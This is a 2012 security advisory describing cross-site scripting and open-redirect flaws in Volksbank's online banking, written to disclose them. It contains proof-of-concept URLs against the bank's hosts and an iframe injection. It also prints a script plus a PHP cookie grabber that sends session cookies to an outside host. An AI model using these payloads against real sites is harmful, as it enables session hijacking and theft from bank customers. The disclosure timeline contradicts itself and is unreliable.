Title: ====== VolksBank Online Banking - Multiple Web Vulnerabilities
Date: ===== 2012-02-07 References: =========== http://www.vulnerability-lab.com/get_content.php?id=172 VL-ID: ===== 172 Introduction: ============= Die Volksbank AG trifft eine Reihe von Sicherheitsvorkehrungen, die einen wirksamen Schutz gegen Angriffe bei der Übertragung der Daten oder der Verarbeitung auf dem Bankenserver bieten. Treffen auch Sie Vorkehrungen zum Schutz vor unberechtigten Manipulationen oder Eingriffen von Dritten und melden Sie uns auffällige Mails. Geben Sie auf der folgenden Seite als Verfügernummer eine beliebige Zahl ein und klicken Sie anschließend auf LOGINum die Demo-Version zu starten. (Copy of the Vendor Homepage: https://www.banking.co.at/appl/ebp/login.html?resource=074&demo=true) Abstract: ========= An anonymous Vulnerability Lab Researcher discovered multiple Web Vulnerabilities in the online-banking system of volksbank. Report-Timeline: ================ 2011-07-03: Vendor Notification 1 2011-08-25: Vendor Notification 2 2011-11-17: Vendor Notification 3 2012-01-09: Vendor Notification 4 2011-**-**: Vendor Response/Feedback 2011-**-**: Vendor Fix/Patch 2011-02-07: Public or Non-Public Disclosure Status: ======== Published Exploitation-Technique: ======================= Remote Severity: ========= High Details: ======== 1.1 Multiple Input Validation vulnerabilities are detected on hte volksbank portal & banking website. Remote attackers can include malicious persistent script-codes on application side of the vulnerable affected modules. The vulnerability allows an attacker also to hijack not expired customers sessions. Vulnerable Module(s): [+] Vorlagen Name [+] Exception Handling [+] Vorlagen Gruppen Name [+] Default ASPX --- Exception Logs --- Error Page Exception SRVE0260E: The server cannot use the error page specified for your application to handle the Original Exception printed below. Original Exception: Error Message: SRVE0295E: Error reported: 400 Error Code: 400 Target Servlet: /zib/de/include/search_ergebnisn.jsp Error Stack: com.ibm.ws.webcontainer.webapp.WebAppErrorReport: SRVE0295E: Error reported: 400 at java.lang.Throwable.(Throwable.java:67) at javax.servlet.ServletException.(ServletException.java:72) at com.ibm.websphere.servlet.error.ServletErrorReport.(ServletErrorReport.java:67) at com.ibm.ws.webcontainer.webapp.WebAppDispatcherContext.sendError(WebAppDispatcherContext.java:600) at com.ibm.ws.webcontainer.srt.SRTServletResponse.sendError(SRTServletResponse.java:1180) at com.ibm.ws.webcontainer.srt.SRTServletResponse.sendError(SRTServletResponse.java:1162) at at.co.arz.cms.hk010.volksbank.filter.ParameterValidationFilter.doFilter(ParameterValidationFilter.java:67) at com.ibm.ws.webcontainer.filter.FilterInstanceWrapper.doFilter(FilterInstanceWrapper.java:188) at com.ibm.ws.webcontainer.filter.WebAppFilterChain.doFilter(WebAppFilterChain.java:116) at at.co.arz.cms.hk010.volksbank.filter.DomainBranchValidationFilter.doFilter(DomainBranchValidationFilter.java:124) at com.ibm.ws.webcontainer.filter.FilterInstanceWrapper.doFilter(FilterInstanceWrapper.java:188) at com.ibm.ws.webcontainer.filter.WebAppFilterChain.doFilter(WebAppFilterChain.java:116) at com.ibm.ws.webcontainer.filter.WebAppFilterChain._doFilter(WebAppFilterChain.java:77) at com.ibm.ws.webcontainer.filter.WebAppFilterManager.doFilter(WebAppFilterManager.java:908) at com.ibm.ws.webcontainer.servlet.ServletWrapper.handleRequest(ServletWrapper.java:934) at com.ibm.ws.webcontainer.servlet.ServletWrapper.handleRequest(ServletWrapper.java:502) at com.ibm.ws.webcontainer.servlet.ServletWrapperImpl.handleRequest(ServletWrapperImpl.java:179) at com.ibm.wsspi.webcontainer.servlet.GenericServletWrapper.handleRequest(GenericServletWrapper.java:121) at com.ibm.ws.jsp.webcontainerext.AbstractJSPExtensionServletWrapper.handleRequest(AbstractJSPExtensionServletWrapper.java:241) at com.ibm.ws.webcontainer.webapp.WebApp.handleRequest(WebApp.java:3826) at com.ibm.ws.webcontainer.webapp.WebGroup.handleRequest(WebGroup.java:276) at com.ibm.ws.webcontainer.WebContainer.handleRequest(WebContainer.java:931) at com.ibm.ws.webcontainer.WSWebContainer.handleRequest(WSWebContainer.java:1583) at com.ibm.ws.webcontainer.channel.WCChannelLink.ready(WCChannelLink.java:186) at com.ibm.ws.http.channel.inbound.impl.HttpInboundLink.handleDiscrimination(HttpInboundLink.java:445) at com.ibm.ws.http.channel.inbound.impl.HttpInboundLink.handleNewRequest(HttpInboundLink.java:504) at com.ibm.ws.http.channel.inbound.impl.HttpInboundLink.processRequest(HttpInboundLink.java:301) at com.ibm.ws.http.channel.inbound.impl.HttpInboundLink.ready(HttpInboundLink.java:275) at com.ibm.ws.tcp.channel.impl.NewConnectionInitialReadCallback.sendToDiscriminators(NewConnectionInitialReadCallback.java:214) at com.ibm.ws.tcp.channel.impl.NewConnectionInitialReadCallback.complete(NewConnectionInitialReadCallback.java:113) at com.ibm.ws.tcp.channel.impl.AioReadCompletionListener.futureCompleted(AioReadCompletionListener.java:165) at com.ibm.io.async.AbstractAsyncFuture.invokeCallback(AbstractAsyncFuture.java:217) at com.ibm.io.async.AsyncChannelFuture.fireCompletionActions(AsyncChannelFuture.java:161) at com.ibm.io.async.AsyncFuture.completed(AsyncFuture.java:138) at com.ibm.io.async.ResultHandler.complete(ResultHandler.java:204) at com.ibm.io.async.ResultHandler.runEventProcessingLoop(ResultHandler.java:775) at com.ibm.io.async.ResultHandler$2.run(ResultHandler.java:905) at com.ibm.ws.util.ThreadPool$Worker.run(ThreadPool.java:1563) Error Page Exception: Error Message: java.lang.NumberFormatException: For input string: <INCLUDE PERSISTENT MALICIOUS SCRIPTCODE HERE!> Error Code: 0 Target Servlet: null Error Stack: java.lang.NumberFormatException: For input string: <INCLUDE PERSISTENT MALICIOUS SCRIPTCODE HERE!> at java.lang.Throwable.<init>(Throwable.java:67) at java.lang.NumberFormatException.forInputString(NumberFormatException.java:60) at java.lang.Integer.parseInt(Integer.java:470) at java.lang.Integer.parseInt(Integer.java:511) at com.ibm._jsp._navigation_5F_oben._jspService(_navigation_5F_oben.java:184) at com.ibm.ws.jsp.runtime.HttpJspBase.service(HttpJspBase.java:99) at javax.servlet.http.HttpServlet.service(HttpServlet.java:831) at com.ibm.ws.webcontainer.servlet.ServletWrapper.service(ServletWrapper.java:1657) at com.ibm.ws.webcontainer.servlet.ServletWrapper.service(ServletWrapper.java:1597) at com.ibm.ws.webcontainer.filter.WebAppFilterChain.doFilter(WebAppFilterChain.java:104) at com.ibm.ws.webcontainer.filter.WebAppFilterChain._doFilter(WebAppFilterChain.java:77) at com.ibm.ws.webcontainer.filter.WebAppFilterManager.doFilter(WebAppFilterManager.java:908) at com.ibm.ws.webcontainer.servlet.ServletWrapper.handleRequest(ServletWrapper.java:934) at com.ibm.ws.webcontainer.servlet.ServletWrapper.handleRequest(ServletWrapper.java:502) at com.ibm.ws.webcontainer.servlet.ServletWrapperImpl.handleRequest(ServletWrapperImpl.java:179) at com.ibm.wsspi.webcontainer.servlet.GenericServletWrapper.handleRequest(GenericServletWrapper.java:121) at com.ibm.ws.jsp.webcontainerext.AbstractJSPExtensionServletWrapper.handleRequest(AbstractJSPExtensionServletWrapper.java:241) at com.ibm.ws.webcontainer.webapp.WebAppRequestDispatcher.include(WebAppRequestDispatcher.java:673) at org.apache.jasper.runtime.JspRuntimeLibrary.include(JspRuntimeLibrary.java:1045) at org.apache.jasper.runtime.JspRuntimeLibrary.include(JspRuntimeLibrary.java:1006) at com.ibm._jsp._error_5F_400._jspService(_error_5F_400.java:256) at com.ibm.ws.jsp.runtime.HttpJspBase.service(HttpJspBase.java:99) at javax.servlet.http.HttpServlet.service(HttpServlet.java:831) at com.ibm.ws.webcontainer.servlet.ServletWrapper.service(ServletWrapper.java:1657) at com.ibm.ws.webcontainer.servlet.ServletWrapper.service(ServletWrapper.java:1597) at com.ibm.ws.webcontainer.filter.WebAppFilterChain.doFilter(WebAppFilterChain.java:104) at com.ibm.ws.webcontainer.filter.WebAppFilterChain._doFilter(WebAppFilterChain.java:77) at com.ibm.ws.webcontainer.filter.WebAppFilterManager.doFilter(WebAppFilterManager.java:908) at com.ibm.ws.webcontainer.servlet.ServletWrapper.handleRequest(ServletWrapper.java:934) at com.ibm.ws.webcontainer.servlet.ServletWrapper.handleRequest(ServletWrapper.java:502) at com.ibm.ws.webcontainer.servlet.ServletWrapperImpl.handleRequest(ServletWrapperImpl.java:179) at com.ibm.wsspi.webcontainer.servlet.GenericServletWrapper.handleRequest(GenericServletWrapper.java:121) at com.ibm.ws.jsp.webcontainerext.AbstractJSPExtensionServletWrapper.handleRequest(AbstractJSPExtensionServletWrapper.java:241) at com.ibm.ws.webcontainer.webapp.WebAppRequestDispatcher.forward(WebAppRequestDispatcher.java:341) at com.ibm.ws.webcontainer.webapp.WebApp.sendError(WebApp.java:3262) at com.ibm.ws.webcontainer.webapp.WebAppDispatcherContext.sendError(WebAppDispatcherContext.java:645) at com.ibm.ws.webcontainer.srt.SRTServletResponse.sendError(SRTServletResponse.java:1180) at com.ibm.ws.webcontainer.srt.SRTServletResponse.sendError(SRTServletResponse.java:1162) at at.co.arz.cms.hk010.volksbank.filter.ParameterValidationFilter.doFilter(ParameterValidationFilter.java:67) at com.ibm.ws.webcontainer.filter.FilterInstanceWrapper.doFilter(FilterInstanceWrapper.java:188) at com.ibm.ws.webcontainer.filter.WebAppFilterChain.doFilter(WebAppFilterChain.java:116) at at.co.arz.cms.hk010.volksbank.filter.DomainBranchValidationFilter.doFilter(DomainBranchValidationFilter.java:124) at com.ibm.ws.webcontainer.filter.FilterInstanceWrapper.doFilter(FilterInstanceWrapper.java:188) at com.ibm.ws.webcontainer.filter.WebAppFilterChain.doFilter(WebAppFilterChain.java:116) at com.ibm.ws.webcontainer.filter.WebAppFilterChain._doFilter(WebAppFilterChain.java:77) at com.ibm.ws.webcontainer.filter.WebAppFilterManager.doFilter(WebAppFilterManager.java:908) at com.ibm.ws.webcontainer.servlet.ServletWrapper.handleRequest(ServletWrapper.java:934) at com.ibm.ws.webcontainer.servlet.ServletWrapper.handleRequest(ServletWrapper.java:502) at com.ibm.ws.webcontainer.servlet.ServletWrapperImpl.handleRequest(ServletWrapperImpl.java:179) at com.ibm.wsspi.webcontainer.servlet.GenericServletWrapper.handleRequest(GenericServletWrapper.java:121) at com.ibm.ws.jsp.webcontainerext.AbstractJSPExtensionServletWrapper.handleRequest(AbstractJSPExtensionServletWrapper.java:241) at com.ibm.ws.webcontainer.webapp.WebApp.handleRequest(WebApp.java:3826) at com.ibm.ws.webcontainer.webapp.WebGroup.handleRequest(WebGroup.java:276) at com.ibm.ws.webcontainer.WebContainer.handleRequest(WebContainer.java:931) at com.ibm.ws.webcontainer.WSWebContainer.handleRequest(WSWebContainer.java:1583) at com.ibm.ws.webcontainer.channel.WCChannelLink.ready(WCChannelLink.java:186) at com.ibm.ws.http.channel.inbound.impl.HttpInboundLink.handleDiscrimination(HttpInboundLink.java:445) at com.ibm.ws.http.channel.inbound.impl.HttpInboundLink.handleNewRequest(HttpInboundLink.java:504) at com.ibm.ws.http.channel.inbound.impl.HttpInboundLink.processRequest(HttpInboundLink.java:301) at com.ibm.ws.http.channel.inbound.impl.HttpInboundLink.ready(HttpInboundLink.java:275) at com.ibm.ws.tcp.channel.impl.NewConnectionInitialReadCallback.sendToDiscriminators(NewConnectionInitialReadCallback.java:214) at com.ibm.ws.tcp.channel.impl.NewConnectionInitialReadCallback.complete(NewConnectionInitialReadCallback.java:113) at com.ibm.ws.tcp.channel.impl.AioReadCompletionListener.futureCompleted(AioReadCompletionListener.java:165) at com.ibm.io.async.AbstractAsyncFuture.invokeCallback(AbstractAsyncFuture.java:217) at com.ibm.io.async.AsyncChannelFuture.fireCompletionActions(AsyncChannelFuture.java:161) at com.ibm.io.async.AsyncFuture.completed(AsyncFuture.java:138) at com.ibm.io.async.ResultHandler.complete(ResultHandler.java:204) at com.ibm.io.async.ResultHandler.runEventProcessingLoop(ResultHandler.java:775) at com.ibm.io.async.ResultHandler$2.run(ResultHandler.java:905) at com.ibm.ws.util.ThreadPool$Worker.run(ThreadPool.java:1563) Picture(s): ../volksbank.com.png ../volksbank.com2.png 1.2 Multiple Input Validation vulnerabilites are detected on client-side of the volksbank portal & banking website. Remote attackers can hijack customer sessions/cookies via cross site scripting with high required user inter action. Vulnerable Module(s): [+] Search Picture(s): ../volksbank.com3.png ../volksbank.com4.png ../volksbank.com5.png 1.3 A redirection vulnerability allows an attacker to redirect the website or implement phishing routines via ?url request on client-side. Vulnerable Module(s): [+] Kurse & Banking [+] IPO News Index Picture(s): ../volksbank.com6.png ../volksbank.com7.png Proof of Concept: ================= The vulnerabilites can be exploited by remote attackers or local privileged user accounts. For demonstration or reproduce ... 1.2 Server-Side https://www.banking.co.at/appl/ebp/vorlage/erstellenaaueb.html[IVE] https://www.banking.co.at/appl/ebp/vorlage/verwaltung/gruppen_update.html?vorlgrpid=1&jsStat=disabled[IVE] https://www.banking.co.at/appl/ebp/vorlage/verwaltung/gruppen.html[IVE] http://kurse.banking.co.at/volksbank/default.aspx?action=securityDetails&id=tts-5234010&menuId=1&pathName=[IVE]&lang=de&showMainOnly=yes http://kurse.banking.co.at/volksbank/Default.aspx?action=chartDetail&id=tts- 5234010&type=javaChart&menuId=1&lang=de&showMainOnly=yes&pathName=[IVE]HERE%20CAN%20YOU%20INCLUDE%20ANYTHING!!! http://kurse.banking.co.at/volksbank/default.aspx?action=iframe&ifheight=600&menuId=15&lang=de[IVE] 1.2 Client-Side http://www.volksbank.com/m101/volksbank/zib/de/individuelle_seite/regionale_Inhalte/private_ibanking/ibk.jsp?locincl=[IVE] http://www.volksbank.com/m101/volksbank/zib/de/include/search_ergebnisn.jsp?menu1=-1&locincl=/m101_oevag&loclink=[IVE] http://www.volksbank.com/m101/volksbank/zib/de/individuelle_seite/regionale_Inhalte/private_ibanking/ibk.jsp?locincl=[IVE] http://kurse.banking.co.at/volksbank/default.asp?menu1=5&menu2=6&menu1name=%22%3E%3Ciframe%20src=http://global-evolution.info/ %20height=800%20width=800%3E&menu1link=/de/modul/kurse_maerkte.jsp&menu2name=AGAIN&menu2link=/de/modul/kurse_maerkte.jsp? seite=6&branch=m101_oevag&language=de&loclink=/m101/volksbank/m101_oevag&locincl=/m101_oevag&stage=p&dcr_name=templatedata/vb_modul/kurse_maer kte/data/de/kurse_maerkte&thisjsp=/de/modul/kurse_maerkte&bc=navi&seite=6&url=www.volksbank.com&titel=Volksbank+AG+-+B%F6rsen+%26+M%E4rkte https://www.banking.co.at/appl/ebp/karten/umsatzuebersicht.html?reqAttrCreditCardNumber=[IVE] 1.3 Redirection Vulnerabilities http://kurse.banking.co.at/volksbank/default.asp?url=global-evolution.info/evil-file.html http://kurse.banking.co.at/volksbank/default.asp?menu1=5&menu2=1&menu3=6&menu1name=B%F6rsen+%26+M %E4rkte&menu1link=/de/modul/kurse_maerkte.jsp&menu2name=M%E4rkte%2FIndizes&menu2link=/de/modul/kurse_maerkte.jsp?seite=1&menu3name=IPO- News&menu3link=/de/modul/kurse_maerkte.jsp? seite=1_6&branch=m101_oevag&language=de&loclink=/m101/volksbank/m101_oevag&locincl=/m101_oevag&stage=p&dcr_name=&thisjsp=/de/modul/kurse_maerk te.jsp?seite=1_6&bc=nutchsearch&seite=12&url=www.volksbank.com&titel=Volksbank+AG+-+B%F6rsen+%26+M%E4rkte&iframeUrl=http://global- evolution.info/evil-file.html ---- script.js location.href='http://www.volksbank.com/m101/volksbank/zib/de/individuelle_seite/regionale_Inhalte/private_ibanking/ibk.jsp?locincl= %3C/script%3E%20%22%3E %3Cscript%20src%3Dhttp%3A//global-evolution.info/grep.php%3E%3C/script%3E?nice='+escape(document.cookie) grep.php <? $cookie = $_GET['nice']; $ip = getenv("REMOTE_ADDR"); $Time = date("l dS of F Y h:i:s A"); $msg = "Cookie: $cookie\nIP Address: $ip\Time: $Time"; $subject = "cookie"; mail("tes...@bad-server.com", $subject, $msg); header ("location: http://www.volksbank.com/";); ?> Risk: ===== 1.1 The security risk of the persistent vulnerabilities are estimated as high(-) because of low required user inter action. 1.2 The security risk of the non-persistent vulnerabilities are estimated as medium(-) because of high required user inter action. 1.3 The security risk of the redirect vulnerability is estimated as low. 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